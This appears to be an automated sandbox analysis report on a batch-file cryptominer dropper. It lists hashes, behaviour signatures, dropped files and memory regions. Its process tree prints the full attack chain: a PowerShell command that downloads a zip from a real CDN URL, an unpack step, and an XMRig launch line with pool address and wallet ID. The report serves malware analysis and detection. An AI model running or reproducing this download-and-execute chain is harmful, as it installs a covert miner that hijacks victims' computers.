Analysis

  • max time kernel
    1795s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/07/2023, 14:09

General

  • Target

    tesy1.bat

  • Size

    700B

  • MD5

    185a2d7bf8c479e47ed8e1ef2cffe6a3

  • SHA1

    810436c92e9eb0c3ef0f6867e938b314f85f43c0

  • SHA256

    e5aaa6de5373b002a54ae2cce47c384f11a80e66b03531b98e8eff1a8dd79581

  • SHA512

    9f1fad5e2a66d6e3d8645ce6c4614fe65ccd169dfa7f78fa3ada228bd543fa7c3dadc384d839d063b66887207897226c57dc62bfb8458ba65614f153791c44bd

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4744
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4584
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4184
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2728
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 4AifziM6zLv4yV4tpjL9S7joqqMjRkCNQakDCxupKLiiVRmPg8pd2aVRPNo5tVZ2BhSdhadzda7V8EuHuWY3xpq2SCZ28HY.alt -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1524

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          c20ac38ae3022e305b8752804aadf486

          SHA1

          4c144d6cfafb5c37ab4810ff3c1744df81493cdb

          SHA256

          03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

          SHA512

          c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ir41z21w.vxu.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\test.zip

          Filesize

          3.2MB

          MD5

          bf4229c027030eeea0db49d10248181d

          SHA1

          4d8291b1dd4d3ef3279cc4189d2ddfc88c1e3dad

          SHA256

          25fb70772bc5772ceefac7ebd9dbc684f4235c98f8d357f9001736adbfc6b5ba

          SHA512

          204c60a8f428c7ac3d07f90e678dae91410c5e9d919820748b45b62526146b03386b3c026da208fc8136df6cb19c61e0d1537f2bfee3032836a41165018acd4c

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

          Filesize

          187B

          MD5

          afb477de9747aa1571a5525e94bf2a4f

          SHA1

          82ac5daaeacd7b0814725c7f01f5464b24e2e000

          SHA256

          43e47a94bf314751868298f703f4f8641764918e683e37ee6fc8110f4dd61c0b

          SHA512

          7240cd0fecf838210afb8c2e06672181e1002b134b2c44a69c80aa6ccd30f36911670fe234d95f9a508b83cc8bdaf3d8b28029a7d55b3b8a4e1afaa6dd2d1997

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

          Filesize

          7.9MB

          MD5

          4813fa6d610e180b097eae0ce636d2aa

          SHA1

          1e9cd17ea32af1337dd9a664431c809dd8a64d76

          SHA256

          9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

          SHA512

          5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

        • memory/1524-212-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-220-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-248-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-247-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-180-0x0000028CD37B0000-0x0000028CD37D0000-memory.dmp

          Filesize

          128KB

        • memory/1524-181-0x0000028CD51D0000-0x0000028CD5210000-memory.dmp

          Filesize

          256KB

        • memory/1524-216-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-183-0x0000028CD3810000-0x0000028CD3830000-memory.dmp

          Filesize

          128KB

        • memory/1524-184-0x0000028CD5210000-0x0000028CD5230000-memory.dmp

          Filesize

          128KB

        • memory/1524-185-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-186-0x0000028CD3810000-0x0000028CD3830000-memory.dmp

          Filesize

          128KB

        • memory/1524-187-0x0000028CD5210000-0x0000028CD5230000-memory.dmp

          Filesize

          128KB

        • memory/1524-188-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-189-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-214-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-191-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-192-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-193-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-194-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-195-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-196-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-197-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-198-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-199-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-200-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-201-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-202-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-203-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-204-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-205-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-206-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-207-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-208-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-209-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-210-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-211-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-246-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-213-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-190-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-245-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-182-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-217-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-218-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-219-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-215-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-221-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-222-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-223-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-224-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-225-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-226-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-227-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-228-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-229-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-230-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-231-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-232-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-233-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-234-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-235-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-236-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-237-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-238-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-239-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-240-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-241-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-242-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-243-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/1524-244-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp

          Filesize

          11.0MB

        • memory/4184-163-0x00000240BF540000-0x00000240BF552000-memory.dmp

          Filesize

          72KB

        • memory/4184-162-0x00000240A64F0000-0x00000240A6500000-memory.dmp

          Filesize

          64KB

        • memory/4184-161-0x00000240A64F0000-0x00000240A6500000-memory.dmp

          Filesize

          64KB

        • memory/4184-160-0x00000240A64F0000-0x00000240A6500000-memory.dmp

          Filesize

          64KB

        • memory/4184-164-0x00000240BF530000-0x00000240BF53A000-memory.dmp

          Filesize

          40KB

        • memory/4584-142-0x00000281FE5D0000-0x00000281FE5F2000-memory.dmp

          Filesize

          136KB

        • memory/4584-143-0x00000281FDB70000-0x00000281FDB80000-memory.dmp

          Filesize

          64KB

        • memory/4584-144-0x00000281FDB70000-0x00000281FDB80000-memory.dmp

          Filesize

          64KB

        • memory/4584-145-0x00000281FDB70000-0x00000281FDB80000-memory.dmp

          Filesize

          64KB